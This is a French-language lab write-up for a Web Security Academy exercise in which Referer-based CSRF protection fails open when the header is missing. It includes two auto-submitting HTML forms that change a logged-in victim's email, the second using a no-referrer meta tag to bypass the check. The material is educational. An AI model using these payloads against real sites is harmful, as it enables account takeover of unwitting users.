CSRF — Validation du header Referer (si présent)

CSRF where Referer validation depends on header being present

Lab: CSRF where Referer validation depends on header being present | Web Security AcademyWebSecAcademy

La fonctionnalité de changement d'email de ce laboratoire est vulnérable à une attaque CSRF. Le serveur tente de bloquer les requêtes cross-domain en vérifiant l’en-tête Referer, mais il existe une gestion de repli (fallback) insecure qui accepte la requête si l’en-tête Referer est absent.

Compte recommandée : wiener:peter (utiliser ce compte pour reproduire le scénario depuis la victime).

Le serveur vérifie le champ Referer pour savoir d’où provient la requête et rejette les requêtes dont le Referer n’est pas celui du site.

En envoyant un formulaire POST depuis le serveur d’exploit, la réponse renvoie : "Invalid referer header" — la vérification fonctionne lorsque le header est présent et incorrect.

<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]">
</form>

<script>

document.forms[0].submit();
</script>

"Invalid referer header"

Toutefois, si la requête arrive sans en-tête Referer, le serveur accepte la requête (comportement de repli dangereux).

Méthode d’exploitation (principe)

Héberger une page sur le serveur d’exploit qui soumet un formulaire POST vers /my-account/change-email avec l’email attaquant.
Forcer la page exploit à supprimer l’en-tête Referer du navigateur afin que la validation échoue en tant que blocage (puisque le serveur accepte l’absence de Referer).
Une manière simple pour demander au navigateur de ne pas envoyer de Referer est d’ajouter une balise <meta name="referrer" content="no-referrer"> dans la page d’exploit avant de soumettre le formulaire.

<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]">
</form>

<script>

document.forms[0].submit();
</script>

Mis à jour il y a 4 mois

hashtagCSRF where Referer validation depends on header being present

hashtagMéthode d’exploitation (principe)

CSRF where Referer validation depends on header being present

Méthode d’exploitation (principe)